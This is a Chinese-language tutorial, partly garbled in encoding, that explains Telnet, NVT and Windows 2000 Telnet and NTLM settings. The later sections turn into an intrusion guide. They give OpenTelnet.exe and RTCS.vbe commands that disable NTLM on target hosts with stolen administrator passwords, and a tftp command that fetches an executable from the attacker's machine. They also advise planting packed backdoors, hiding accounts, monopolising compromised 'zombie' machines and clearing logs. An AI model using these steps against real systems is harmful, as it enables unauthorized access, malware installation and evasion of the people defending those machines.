詞語(yǔ)解釋
Telnet是傳輸控制協(xié)議/因特網(wǎng)協(xié)議(TCP/IP)網(wǎng)絡(luò)(例如Internet)的登錄和仿真程序。它最初是由ARPANET開(kāi)發(fā)的,但是現(xiàn)在它主要用于Internet會(huì)話。它的基本功能是,允許用戶登錄進(jìn)入遠(yuǎn)程主機(jī)系統(tǒng)。起初,它只是讓用戶的本地計(jì)算機(jī)與遠(yuǎn)程計(jì)算機(jī)連接,從而成為遠(yuǎn)程主機(jī)的一個(gè)終端。它的一些較新的版本在本地執(zhí)行更多的處理,于是可以提供更好的響應(yīng),并且減少了通過(guò)鏈路發(fā)送到遠(yuǎn)程主機(jī)的信息數(shù)量。
一 摘要
Telnet的應(yīng)用不僅方便了我們進(jìn)行遠(yuǎn)程登錄,也給hacker們提供了又一種入侵手段和后門(mén),但無(wú)論如何,在你盡情享受Telnet所帶給你的便捷的同時(shí),你是否真正的了解Telnet呢?
二 遠(yuǎn)程登錄
Telnet服務(wù)雖然也屬于客戶機(jī)/服務(wù)器模型的服務(wù),但它更大的意義在于實(shí)現(xiàn)了基于Telnet協(xié)議的遠(yuǎn)程登錄(遠(yuǎn)程交互式計(jì)算),那么就讓我們來(lái)認(rèn)識(shí)一下遠(yuǎn)程登錄。
1 遠(yuǎn)程登陸的基本概念
先來(lái)看看什么叫登錄:分時(shí)系統(tǒng)允許多個(gè)用戶同時(shí)使用一臺(tái)計(jì)算機(jī),為了保證系統(tǒng)的安全和記賬方便,系統(tǒng)要求每個(gè)用戶有單獨(dú)的帳號(hào)作為登錄標(biāo)識(shí),系統(tǒng)還為每個(gè)用戶指定了一個(gè)口令。用戶在使用該系統(tǒng)之前要輸入標(biāo)識(shí)和口令,這個(gè)過(guò)程被稱為''登錄''。
遠(yuǎn)程登陸是指用戶使用Telnet命令,使自己的計(jì)算機(jī)暫時(shí)成為遠(yuǎn)程主機(jī)的一個(gè)仿真終端的過(guò)程。仿真終端等效于一個(gè)非智能的機(jī)器,它只負(fù)責(zé)把用戶輸入的每個(gè)字符傳遞給主機(jī),再將主機(jī)輸出的每個(gè)信息回顯在屏幕上。
2 遠(yuǎn)程登陸的產(chǎn)生及發(fā)展
我們可以先構(gòu)想一個(gè)提供遠(yuǎn)程文字編輯的服務(wù),這個(gè)服務(wù)的實(shí)現(xiàn)需要一個(gè)接受編輯文件請(qǐng)求和數(shù)據(jù)的服務(wù)器以及一個(gè)發(fā)送此請(qǐng)求的客戶機(jī)。客戶機(jī)將建立一個(gè)從本地機(jī)到服務(wù)器的TCP連接,當(dāng)然這需要服務(wù)器的應(yīng)答,然后向服務(wù)器發(fā)送鍵入的信息(文件編輯信息),并讀取從服務(wù)器返回的輸出。以上便是一個(gè)標(biāo)準(zhǔn)而普通的客戶機(jī)/服務(wù)器模型的服務(wù)。
似乎有了客戶機(jī)/服務(wù)器模型的服務(wù),一切遠(yuǎn)程問(wèn)題都可以解決了。然而實(shí)際并非你想象的那樣簡(jiǎn)單,如果我們僅需要遠(yuǎn)程編輯文件,那么剛才所構(gòu)想的服務(wù)完全可以勝任,但假如我們的要求并不是這么簡(jiǎn)單,我們還想實(shí)現(xiàn)遠(yuǎn)程用戶管理,遠(yuǎn)程數(shù)據(jù)錄入,遠(yuǎn)程系統(tǒng)維護(hù),想實(shí)現(xiàn)一切可以在遠(yuǎn)程主機(jī)上實(shí)現(xiàn)的操作,那么我們將需要大量專用的服務(wù)器程序并為每一個(gè)可計(jì)算服務(wù)都使用一個(gè)服務(wù)器進(jìn)程,隨之而來(lái)的問(wèn)題是:遠(yuǎn)程機(jī)器會(huì)很快對(duì)服務(wù)器進(jìn)程應(yīng)接不暇,并淹沒(méi)在進(jìn)程的海洋里(我們?cè)谶@里排除最專業(yè)化的遠(yuǎn)程機(jī)器)。
那么有沒(méi)有辦法解決呢?當(dāng)然有,我們可以用遠(yuǎn)程登錄來(lái)解決這一切。我們?cè)试S用戶在遠(yuǎn)地機(jī)器上建立一個(gè)登錄會(huì)話,然后通過(guò)執(zhí)行命令來(lái)實(shí)現(xiàn)更一般的服務(wù),就像在本地操作一樣。這樣,我們便可以訪問(wèn)遠(yuǎn)地系統(tǒng)上所有可用的命令,并且系統(tǒng)設(shè)計(jì)員不需提供多個(gè)專用地服務(wù)器程序。
問(wèn)題發(fā)展到這里好像前途一片光明了,用遠(yuǎn)程登錄總應(yīng)該解決問(wèn)題了吧,但要實(shí)現(xiàn)遠(yuǎn)程登陸并不簡(jiǎn)單。不考慮網(wǎng)絡(luò)設(shè)計(jì)的計(jì)算機(jī)系統(tǒng)期望用戶只從直接相連的鍵盤(pán)和顯示器上登錄,在這種機(jī)器上增加遠(yuǎn)程登陸功能需要修改機(jī)器的操作系統(tǒng),這是極其艱巨也是我們盡量避免的。因此我們應(yīng)該集中力量構(gòu)造遠(yuǎn)程登陸服務(wù)器軟件,雖然這樣也是比較困難的。為什么說(shuō)這樣做也比較困難呢?
舉個(gè)例子來(lái)說(shuō):一般,操作系統(tǒng)會(huì)為一些特殊按鍵分配特殊的含義,比如本地系統(tǒng)將''Ctrl+C''解釋為:''終止當(dāng)前運(yùn)行的命令進(jìn)程''。但假設(shè)我們已經(jīng)運(yùn)行了遠(yuǎn)程登陸服務(wù)器軟件,''Ctrl+C''也有可能無(wú)法被傳送到遠(yuǎn)地機(jī)器,如果客戶機(jī)真的將''Ctrl+C''傳到了遠(yuǎn)地機(jī)器,那么''Ctrl+C''這個(gè)命令有可能不能終止本地的進(jìn)程,也就是說(shuō)在這里很可能會(huì)產(chǎn)生混亂。而且這僅僅是遇到的難題之一。
但盡管有技術(shù)上的困難,系統(tǒng)編程人員還是設(shè)法構(gòu)造了能夠應(yīng)用于大多數(shù)操作系統(tǒng)的遠(yuǎn)程登陸服務(wù)器軟件,并構(gòu)造了充當(dāng)客戶機(jī)的應(yīng)用軟件。通常,客戶機(jī)軟件取消了除一個(gè)鍵以外的所有鍵的本地解釋,并將這些本地解釋相應(yīng)的轉(zhuǎn)換成遠(yuǎn)地解釋,這就使得客戶機(jī)軟件與遠(yuǎn)地機(jī)器的交互,就如同坐在遠(yuǎn)程主機(jī)面前一樣,從而避免了上述所提到的混亂。而那個(gè)唯一例外的鍵,可以使用戶回到本地環(huán)境。
將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件,還有另一個(gè)要求,那就是需要操作系統(tǒng)提供對(duì)偽終端(pseudo terminal)的支持。我們用偽終端描述操作系統(tǒng)的入口點(diǎn),它允許像Telnet服務(wù)器一樣的程序向操作系統(tǒng)傳送字符,并且使得字符像是來(lái)自本地鍵盤(pán)一樣。只有使用這樣的操作系統(tǒng),才能將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件(比如Telnet服務(wù)器軟件),否則,本地操作系統(tǒng)和遠(yuǎn)地系統(tǒng)傳送將不能識(shí)別從對(duì)方傳送過(guò)來(lái)的信息(因?yàn)樗鼈儍H能識(shí)別從本地鍵盤(pán)所鍵入的信息),遠(yuǎn)程登陸將宣告失敗。
將遠(yuǎn)程登陸服務(wù)器設(shè)計(jì)為應(yīng)用級(jí)軟件雖然有其顯著的優(yōu)點(diǎn):比將代碼嵌入操作系統(tǒng)更易修改和控制服務(wù)器。但其也有效率不高的缺點(diǎn)(后面的內(nèi)容將會(huì)給予解釋),好在用戶鍵入信息的速率不高,這種設(shè)計(jì)還是可以接受的。
3 遠(yuǎn)程登錄的工作過(guò)程
使用Telnet協(xié)議進(jìn)行遠(yuǎn)程登陸時(shí)需要滿足以下條件:在本的計(jì)算機(jī)上必須裝有包含Telnet協(xié)議的客戶程序;必須知道遠(yuǎn)程主機(jī)的Ip地址或域名;必須知道登錄標(biāo)識(shí)與口令。
Telnet遠(yuǎn)程登錄服務(wù)分為以下4個(gè)過(guò)程:
1)本地與遠(yuǎn)程主機(jī)建立連接。該過(guò)程實(shí)際上是建立一個(gè)TCP連接,用戶必須知道遠(yuǎn)程主機(jī)的Ip地址或域名;
2)將本地終端上輸入的用戶名和口令及以后輸入的任何命令或字符以NVT(Net Virtual Terminal)格式傳送到遠(yuǎn)程主機(jī)。該過(guò)程實(shí)際上是從本地主機(jī)向遠(yuǎn)程主機(jī)發(fā)送一個(gè)IP數(shù)據(jù)報(bào);
3)將遠(yuǎn)程主機(jī)輸出的NVT格式的數(shù)據(jù)轉(zhuǎn)化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執(zhí)行結(jié)果;
4)最后,本地終端對(duì)遠(yuǎn)程主機(jī)進(jìn)行撤消連接。該過(guò)程是撤銷一個(gè)TCP連接。
上面的內(nèi)容只是討論了遠(yuǎn)程登陸最基本的東西,其中的復(fù)雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用Telnet的同時(shí),是否想到了這些!
三 Telnet協(xié)議
我們知道Telnet服務(wù)器軟件是我們最常用的遠(yuǎn)程登錄服務(wù)器軟件,是一種典型的客戶機(jī)/服務(wù)器模型的服務(wù),它應(yīng)用Telnet協(xié)議來(lái)工作。那么,什么是Telnet協(xié)議?它都具備哪些特點(diǎn)呢?
1 基本內(nèi)容
Telnet協(xié)議是TCP/IP協(xié)議族中的一員,是Internet遠(yuǎn)程登陸服務(wù)的標(biāo)準(zhǔn)協(xié)議。應(yīng)用Telnet協(xié)議能夠把本地用戶所使用的計(jì)算機(jī)變成遠(yuǎn)程主機(jī)系統(tǒng)的一個(gè)終端。它提供了三種基本服務(wù):
1)Telnet定義一個(gè)網(wǎng)絡(luò)虛擬終端為遠(yuǎn)的系統(tǒng)提供一個(gè)標(biāo)準(zhǔn)接口?蛻魴C(jī)程序不必詳細(xì)了解遠(yuǎn)的系統(tǒng),他們只需構(gòu)造使用標(biāo)準(zhǔn)接口的程序;
2)Telnet包括一個(gè)允許客戶機(jī)和服務(wù)器協(xié)商選項(xiàng)的機(jī)制,而且它還提供一組標(biāo)準(zhǔn)選項(xiàng);
3)Telnet對(duì)稱處理連接的兩端,即Telnet不強(qiáng)迫客戶機(jī)從鍵盤(pán)輸入,也不強(qiáng)迫客戶機(jī)在屏幕上顯示輸出。
2 適應(yīng)異構(gòu)
為了使多個(gè)操作系統(tǒng)間的Telnet交互操作成為可能,就必須詳細(xì)了解異構(gòu)計(jì)算機(jī)和操作系統(tǒng)。比如,一些操作系統(tǒng)需要每行文本用ASCII回車控制符(CR)結(jié)束,另一些系統(tǒng)則需要使用ASCII換行符(LF),還有一些系統(tǒng)需要用兩個(gè)字符的序列回車-換行(CR-LF);再比如,大多數(shù)操作系統(tǒng)為用戶提供了一個(gè)中斷程序運(yùn)行的快捷鍵,但這個(gè)快捷鍵在各個(gè)系統(tǒng)中有可能不同(一些系統(tǒng)使用CTRL+C,而另一些系統(tǒng)使用ESCAPE)。如果不考慮系統(tǒng)間的異構(gòu)性,那么在本地發(fā)出的字符或命令,傳送到遠(yuǎn)地并被遠(yuǎn)地系統(tǒng)解釋后很可能會(huì)不準(zhǔn)確或者出現(xiàn)錯(cuò)誤。因此,Telnet協(xié)議必須解決這個(gè)問(wèn)題。
為了適應(yīng)異構(gòu)環(huán)境,Telnet協(xié)議定義了數(shù)據(jù)和命令在Internet上的傳輸方式,此定義被稱作網(wǎng)絡(luò)虛擬終端NVT(Net Virtual Terminal)。它的應(yīng)用過(guò)程如下:
對(duì)于發(fā)送的數(shù)據(jù):客戶機(jī)軟件把來(lái)自用戶終端的按鍵和命令序列轉(zhuǎn)換為NVT格式,并發(fā)送到服務(wù)器,服務(wù)器軟件將收到的數(shù)據(jù)和命令,從NVT格式轉(zhuǎn)換為遠(yuǎn)地系統(tǒng)需要的格式;
對(duì)于返回的數(shù)據(jù):遠(yuǎn)地服務(wù)器將數(shù)據(jù)從遠(yuǎn)地機(jī)器的格式轉(zhuǎn)換為NVT格式,而本地客戶機(jī)將將接收到的NVT格式數(shù)據(jù)再轉(zhuǎn)換為本地的格式。
對(duì)于NVT格式的詳細(xì)定義,有興趣的朋友可以去查找相關(guān)資料。
3 傳送遠(yuǎn)地命令
我們知道絕大多數(shù)操作系統(tǒng)都提供各種快捷鍵來(lái)實(shí)現(xiàn)相應(yīng)的控制命令,當(dāng)用戶在本地終端鍵入這些快捷鍵的時(shí)候,本地系統(tǒng)將執(zhí)行相應(yīng)的控制命令,而不把這些快捷鍵作為輸入。那么對(duì)于Telnet來(lái)說(shuō),它是用什么來(lái)實(shí)現(xiàn)控制命令的遠(yuǎn)地傳送呢?
Telnet同樣使用NVT來(lái)定義如何從客戶機(jī)將控制功能傳送到服務(wù)器。我們知道USASCII字符集包括95個(gè)可打印字符和33個(gè)控制碼。當(dāng)用戶從本地鍵入普通字符時(shí),NVT將按照其原始含義傳送;當(dāng)用戶鍵入快捷鍵(組合鍵)時(shí),NVT將把它轉(zhuǎn)化為特殊的ASCII字符在網(wǎng)絡(luò)上傳送,并在其到達(dá)遠(yuǎn)地機(jī)器后轉(zhuǎn)化為相應(yīng)的控制命令。將正常ASCII字符集與控制命令區(qū)分主要有兩個(gè)原因:
1)這種區(qū)分意味著Telnet具有更大的靈活性:它可在客戶機(jī)與服務(wù)器間傳送所有可能的ASCII字符以及所有控制功能;
2)這種區(qū)分使得客戶機(jī)可以無(wú)二義性的指定信令,而不會(huì)產(chǎn)生控制功能與普通字符的混亂。
4 數(shù)據(jù)流向
上面我們提到過(guò)將Telnet設(shè)計(jì)為應(yīng)用級(jí)軟件有一個(gè)缺點(diǎn),那就是:效率不高。這是為什么呢?下面給出Telnet中的數(shù)據(jù)流向:
數(shù)據(jù)信息被用戶從本地鍵盤(pán)鍵入并通過(guò)操作系統(tǒng)傳到客戶機(jī)程序,客戶機(jī)程序?qū)⑵涮幚砗蠓祷夭僮飨到y(tǒng),并由操作系統(tǒng)經(jīng)過(guò)網(wǎng)絡(luò)傳送到遠(yuǎn)地機(jī)器,遠(yuǎn)地操作系統(tǒng)將所接收數(shù)據(jù)傳給服務(wù)器程序,并經(jīng)服務(wù)器程序再次處理后返回到操作系統(tǒng)上的偽終端入口點(diǎn),最后,遠(yuǎn)地操作系統(tǒng)將數(shù)據(jù)傳送到用戶正在運(yùn)行的應(yīng)用程序,這便是一次完整的輸入過(guò)程;輸出將按照同一通路從服務(wù)器傳送到客戶機(jī)。
因?yàn)槊恳淮蔚妮斎牒洼敵,?jì)算機(jī)將切換進(jìn)程環(huán)境好幾次,這個(gè)開(kāi)銷是很昂貴的。還好用戶的鍵入速率并不算高,這個(gè)缺點(diǎn)我們?nèi)匀荒軌蚪邮堋?BR>
5 強(qiáng)制命令
我們應(yīng)該考慮到這樣一種情況:假設(shè)本地用戶運(yùn)行了遠(yuǎn)地機(jī)器的一個(gè)無(wú)休止循環(huán)的錯(cuò)誤命令或程序,且此命令或程序已經(jīng)停止讀取輸入,那么操作系統(tǒng)的緩沖區(qū)可能因此而被占滿,如果這樣,遠(yuǎn)地服務(wù)器也無(wú)法再將數(shù)據(jù)寫(xiě)入偽終端,并且最終導(dǎo)致停止從TCP連接讀取數(shù)據(jù),TCP連接的緩沖區(qū)最終也會(huì)被占滿,從而導(dǎo)致阻止數(shù)據(jù)流流入此連接。如果以上事情真的發(fā)生了,那么本地用戶將失去對(duì)遠(yuǎn)地機(jī)器的控制。
為了解決此問(wèn)題,Telnet協(xié)議必須使用外帶信令以便強(qiáng)制服務(wù)器讀取一個(gè)控制命令。我們知道TCP用緊急數(shù)據(jù)機(jī)制實(shí)現(xiàn)外帶數(shù)據(jù)信令,那么Telnet只要再附加一個(gè)被稱為數(shù)據(jù)標(biāo)記(date mark)的保留八位組,并通過(guò)讓TCP發(fā)送已設(shè)置緊急數(shù)據(jù)比特的報(bào)文段通知服務(wù)器便可以了,攜帶緊急數(shù)據(jù)的報(bào)文段將繞過(guò)流量控制直接到達(dá)服務(wù)器。作為對(duì)緊急信令的相應(yīng),服務(wù)器將讀取并拋棄所有數(shù)據(jù),直到找到了一個(gè)數(shù)據(jù)標(biāo)記。服務(wù)器在遇到了數(shù)據(jù)標(biāo)記后將返回正常的處理過(guò)程。
6 選項(xiàng)協(xié)商
由于Telnet兩端的機(jī)器和操作系統(tǒng)的異構(gòu)性,使得Telnet不可能也不應(yīng)該嚴(yán)格規(guī)定每一個(gè)telnet連接的詳細(xì)配置,否則將大大影響Telnet的適應(yīng)異構(gòu)性。因此,Telnet采用選項(xiàng)協(xié)商機(jī)制來(lái)解決這一問(wèn)題。
Telnet選項(xiàng)的范圍很廣:一些選項(xiàng)擴(kuò)充了大方向的功能,而一些選項(xiàng)制涉及一些微小細(xì)節(jié)。例如:有一個(gè)選項(xiàng)可以控制Telnet是在半雙工還是全雙工模式下工作(大方向);還有一個(gè)選項(xiàng)允許遠(yuǎn)地機(jī)器上的服務(wù)器決定用戶終端類型(小細(xì)節(jié))。
Telnet選項(xiàng)的協(xié)商方式也很有意思,它對(duì)于每個(gè)選項(xiàng)的處理都是對(duì)稱的,即任何一端都可以發(fā)出協(xié)商申請(qǐng);任何一端都可以接受或拒絕這個(gè)申請(qǐng)。另外,如果一端試圖協(xié)商另一端不了解的選項(xiàng),接受請(qǐng)求的一端可簡(jiǎn)單的拒絕協(xié)商。因此,有可能將更新,更復(fù)雜的Telnet客戶機(jī)服務(wù)器版本與較老的,不太復(fù)雜的版本進(jìn)行交互操作。如果客戶機(jī)和服務(wù)器都理解新的選項(xiàng),可能會(huì)對(duì)交互有所改善。否則,它們將一起轉(zhuǎn)到效率較低但可工作的方式下運(yùn)行。所有的這些設(shè)計(jì),都是為了增強(qiáng)適應(yīng)異構(gòu)性,可見(jiàn)Telnet的適應(yīng)異構(gòu)性對(duì)其的應(yīng)用和發(fā)展是多么重要。
上面討論了一些原理方面的東西,雖然我們?cè)赥elnet的使用過(guò)程中很難接觸到這一層面,但我認(rèn)為了解這些是有意義的,它會(huì)給我們帶來(lái)許多啟示。下面讓我們來(lái)看看Win2000的Telnet服務(wù)。
(本系列教程不定期更新,欲獲得最新版本,請(qǐng)登陸官方網(wǎng)站:菜菜鳥(niǎo)社區(qū) http://ccbirds.yeah.net)
四 Win2000的Telnet服務(wù)
其實(shí)從應(yīng)用層面上,Win2000的Telnet服務(wù)并沒(méi)有什么可說(shuō)的,絕大部分內(nèi)容你都可以從HELP文件中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000為我們提供了Telnet客戶機(jī)和服務(wù)器程序:Telnet.exe是客戶機(jī)程序(Client),tlntsvr.exe是服務(wù)器程序(server),同時(shí)它還為我們提供了Telnet服務(wù)器管理程序tlntadmn.exe。
Windows 2000 默認(rèn)安裝了 Telnet 服務(wù),但是并沒(méi)有默認(rèn)啟動(dòng)。下面給出HELP文件中 Telnet 服務(wù)的一部分默認(rèn)設(shè)置:
AllowTrustedDomain:是否允許域用戶訪問(wèn)。默認(rèn)值是1,允許信任域用戶訪問(wèn)?梢愿臑0: 不允許域用戶訪問(wèn)(只允許本地用戶)。
DefaultDomain:可以對(duì)與該計(jì)算機(jī)具有信任關(guān)系的任何域設(shè)置。默認(rèn)值是"."。
DefaultShell:顯示 shell 安裝的路徑位置。默認(rèn)值是: %systemroot%System32Cmd.exe /q /k
MaxFailedLogins:在連接終止之前顯示嘗試登錄失敗的最大次數(shù)。默認(rèn)是3。
Logins cript:顯示 Telnet 服務(wù)器登錄腳本的路徑位置。默認(rèn)的位置就是“%systemroot%System32login.cmd”,你可以更改腳本內(nèi)容,這樣登錄進(jìn)Telnet的歡迎屏幕就不一樣了。
NTLM:NTLM身份驗(yàn)證選項(xiàng)。默認(rèn)是2?梢杂邢旅孢@些值:
0: 不使用 NTLM 身份驗(yàn)證。
1: 先嘗試 NTLM 身份驗(yàn)證,如果失敗,再使用用戶名和密碼。
2: 只使用 NTLM 身份驗(yàn)證。
TelnetPort:顯示 telnet 服務(wù)器偵聽(tīng) telnet 請(qǐng)求的端口。默認(rèn)是:23。你也可以更改為其他端口。
以上各項(xiàng)設(shè)置你可以使用tlntadmn.exe(Telnet服務(wù)器管理程序)來(lái)進(jìn)行非常方便的配置,配置后需要重新啟動(dòng)Telnet服務(wù)。如圖1
2 NTLM
提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號(hào)和密碼,想簡(jiǎn)單通過(guò)NTLM也并非易事,況且win2000中的telnet默認(rèn)僅以NTLM方式驗(yàn)證身份,這就讓我們不得不關(guān)注NTLM這個(gè)東東,那么什么是NTLM呢?
早期的SMB協(xié)議在網(wǎng)絡(luò)上明文傳輸口令,后來(lái)出現(xiàn)了"LAN Manager Challenge/Response"驗(yàn)證機(jī)制,簡(jiǎn)稱LM,它十分簡(jiǎn)單以至很容易被破解,微軟隨后提出了WindowsNT挑戰(zhàn)/響應(yīng)驗(yàn)證機(jī)制,即NTLM,F(xiàn)在已經(jīng)有了更新的NTLMv2以及Kerberos驗(yàn)證體系。NTLM工作流程是這樣的:
1、客戶端首先在本地加密當(dāng)前用戶的密碼成為密碼散列
2、客戶端向服務(wù)器發(fā)送自己的帳號(hào),這個(gè)帳號(hào)是沒(méi)有經(jīng)過(guò)加密的,明文直接傳輸
3、服務(wù)器產(chǎn)生一個(gè)16位的隨機(jī)數(shù)字發(fā)送給客戶端,作為一個(gè) challenge(挑戰(zhàn))
4、客戶端再用加密后的密碼散列來(lái)加密這個(gè) challenge ,然后把這個(gè)返回給服務(wù)器。作為 response(響應(yīng))
5、服務(wù)器把用戶名、給客戶端的challenge 、客戶端返回的 response 這三個(gè)東西,發(fā)送域控制器
6、域控制器用這個(gè)用戶名在 SAM密碼管理庫(kù)中找到這個(gè)用戶的密碼散列,然后使用這個(gè)密碼散列來(lái)加密 challenge。
7、域控制器比較兩次加密的 challenge ,如果一樣,那么認(rèn)證成功。
從上面的過(guò)程我們可以看出,NTLM是以當(dāng)前用戶的身份向Telnet服務(wù)器發(fā)送登錄請(qǐng)求的,而不是用你掃到的對(duì)方管理員的帳戶和密碼登錄,顯然,你的登錄將會(huì)失敗。舉個(gè)例子來(lái)說(shuō),你家的機(jī)器名為A(本地機(jī)器),你入侵的機(jī)器名為B(遠(yuǎn)地機(jī)器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的管理員帳號(hào)是Administrator,密碼是5678,當(dāng)你想Telnet到B時(shí),NTLM將自動(dòng)以當(dāng)前用戶的帳號(hào)和密碼作為登錄的憑據(jù)來(lái)進(jìn)行上面的7項(xiàng)操作,即用xinxin和1234,而并非用你掃到的Administrator和5678,且這些都是自動(dòng)完成的,根本不給你插手的機(jī)會(huì),因此你的登錄操作將失敗。
由于Telnet服務(wù)器對(duì)NTLM的使用有3個(gè)選項(xiàng),所以當(dāng)你Telnet遠(yuǎn)地機(jī)器時(shí),會(huì)顯示下面情況中的一種:
1)身份驗(yàn)證選項(xiàng)=0時(shí)
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
為0時(shí)不使用NTML身份驗(yàn)證,直接輸入用戶名和密碼,比如你可以輸入掃到的Administrator和5678
2)身份驗(yàn)證選項(xiàng)=1時(shí)
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
先嘗試 NTLM 身份驗(yàn)證,如果失敗,再使用用戶名和密碼,其實(shí)這種方式對(duì)于我們來(lái)說(shuō),與上一種方式?jīng)]什么區(qū)別
3)身份驗(yàn)證選項(xiàng)=2時(shí)
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對(duì)主機(jī)的連接。
C:>
仔細(xì)看看上面的顯示,根本沒(méi)有給你輸入用戶名和密碼的機(jī)會(huì),直接斷開(kāi)連接,掃到了密碼也是白掃
所以對(duì)于入侵者來(lái)說(shuō),NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1通過(guò)修改遠(yuǎn)程注冊(cè)表更改telnet服務(wù)器配置,將驗(yàn)證方式從2改為1或0;
2使用NTLM.exe,上傳后直接運(yùn)行,可將telnet服務(wù)器驗(yàn)證方式從2改為1;
3在本地建立掃描到的用戶,以此用戶身份開(kāi)啟telnet客戶機(jī)并進(jìn)行遠(yuǎn)程登錄;
4使用軟件,比如opentelnet.exe(需要管理員權(quán)限且開(kāi)啟IPC管道)
5使用腳本,如RTCS,(需要管理員權(quán)限但不依賴IPC管道)
基本上是以上的5種,其中后兩種是我們比較常用的開(kāi)telnet的手法,而且使用方法十分簡(jiǎn)單,命令如下:
OpenTelnet.exe server username password NTLMAuthor telnetport
OpenTelnet.exe 服務(wù)器地址 管理員用戶名 密碼 驗(yàn)證方式(填0或1) telnet端口
cs cript RTCS.vbe targetIP username password NTLMAuthor telnetport
cs cript RTCS.vbe <目標(biāo)IP> <管理員用戶名> <密碼> <驗(yàn)證方式>
五 在telnet中該做什么
本來(lái)寫(xiě)到上面就想結(jié)束了,不過(guò)許多朋友都說(shuō)telnet上去后不知道該做什么了,既然這樣,那我就拋磚引玉吧,這次不講具體做法,只是說(shuō)說(shuō)思路,什么?為什么不講具體做法?篇幅不夠嘛,以后我會(huì)一一解釋的。
1 查看系統(tǒng)信息
呵呵,其實(shí)就是隨處看看,看看他的系統(tǒng)配置和版本(用type c:oot.ini來(lái)知道pro版或server版),看看都裝了什么服務(wù)或軟件(從目錄名就可以知道了),看看有什么重要或有趣的文件啦(唉,要是國(guó)外的機(jī)器,看也看不懂),看看他的用戶情況,總之就是盡可能多的了解系統(tǒng),為一會(huì)裝后門(mén)摸底。
2 使用tftp傳送文件
想必大家都遇到過(guò)在telnet中傳輸文件的問(wèn)題,因?yàn)槲覀兞?xí)慣了在ipc管道中的文件傳輸,所以有些朋友喜歡用net share ipc$ 來(lái)打開(kāi)管道,進(jìn)而利用copy來(lái)傳輸文件。不過(guò)這樣反而麻煩,既然我們已經(jīng)得到了shell,我們可以用TFPT命令來(lái)完成這一切,什么是TFTP呢?
用TFTP(Trivial File Transfer Protocol)來(lái)實(shí)現(xiàn)文件的傳送是一種基于UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個(gè)TFTP服務(wù)器端軟件構(gòu)成一個(gè)完整的傳輸結(jié)構(gòu)。它是這樣使用的: 首先運(yùn)行本地的TFTP Server(比如tftpd32.exe)軟件并保證始終開(kāi)啟直至傳輸全部完成, 然后在telnet中(當(dāng)然你也可以在其他shell中)運(yùn)行下面的命令:
C:>tftp –i ip get xinxin.exe c:abcxinxin.exe
其中ip為你自己機(jī)器的ip,且上傳文件要與TFTP服務(wù)器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤(pán)abc目錄下了(其實(shí)是從tftp服務(wù)器下載來(lái)的)
需要指出的是,如果使用代理IP,你將不能實(shí)現(xiàn)與外部網(wǎng)絡(luò)的文件傳送。因?yàn)槟愕拇砭W(wǎng)關(guān)在進(jìn)行數(shù)據(jù)封裝的時(shí)候會(huì)將自己的IP地址加入到你的數(shù)據(jù)報(bào)中,代替你的內(nèi)部網(wǎng)絡(luò)地址,所以在外部網(wǎng)絡(luò)進(jìn)行MAC尋址時(shí)是找不到你這臺(tái)TFTP服務(wù)器的。
3 安置后門(mén)
安置后門(mén)放在第二步好像早了點(diǎn),如果你入侵還有其他目的,比如以破壞為主,或者是來(lái)修改主頁(yè)的,那么這些事情當(dāng)然可以在安置后門(mén)之前做;如果你只是想得到一只肉雞,那就沒(méi)什么可說(shuō)的了,安后門(mén)吧。
后門(mén)的種類繁多,也給我們提供了很大的選擇余地,能夠根據(jù)具體情況選擇合適的后門(mén)的確是一門(mén)學(xué)問(wèn)。常用的后門(mén)一般有:木馬,asp木馬,遠(yuǎn)程控制軟件,克隆帳戶,建立并隱藏帳戶,telnet,telnet擴(kuò)展的shell,終端服務(wù)等。安置一個(gè)好的后門(mén)通常要注意以下幾點(diǎn):
1 不會(huì)被防火墻查殺及阻礙通信:被加入病毒庫(kù)的后門(mén)最好加殼以逃過(guò)防火墻,盡量用低端口通信,以免被防火墻屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠(yuǎn)程控制軟件,要注意被控端的安裝提示和小圖標(biāo),以及是否同步畫(huà)面;如果你在帳戶上做文章,要盡量保持在cmd和用戶管理中都不出破綻;如果你選擇放木馬或telnet擴(kuò)展,要注意文件和進(jìn)程的隱藏;如果新開(kāi)了終端服務(wù)(入侵前并沒(méi)有開(kāi)),一定要該掉3389這個(gè)顯眼的端口,且越低越好。
3 不要當(dāng)管理員不存在:這是一個(gè)大忌,許多朋友在只有默認(rèn)帳戶的機(jī)器上建立類似&#39;&#39;hacking&#39;&#39;的管理員帳戶,真是無(wú)知者無(wú)畏呀。所以安置后門(mén)的時(shí)候,想想管理員疏忽的地方會(huì)在哪里。
4 打補(bǔ)丁
如果想獨(dú)霸肉雞,就要會(huì)打補(bǔ)丁,要知道對(duì)肉雞的競(jìng)爭(zhēng)是很激烈的。怎么打補(bǔ)丁呢?這個(gè)也要問(wèn)?想想你是怎么進(jìn)來(lái)的吧。算了,提示一下,除了修補(bǔ)大的漏洞以外(上傳官方補(bǔ)丁并運(yùn)行),也要注意它的共享,ipc$共享(最好都關(guān)閉),可疑端口,容易被利用的服務(wù)等。不過(guò)打補(bǔ)丁也要注意隱蔽性的,不要讓管理員發(fā)現(xiàn)大的改動(dòng)。
5 清除日志
可以手動(dòng)或利用軟件,如果不太會(huì)就去找相關(guān)教材吧,在這里我不詳細(xì)介紹了。
===================================================================================
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
===================================================================================
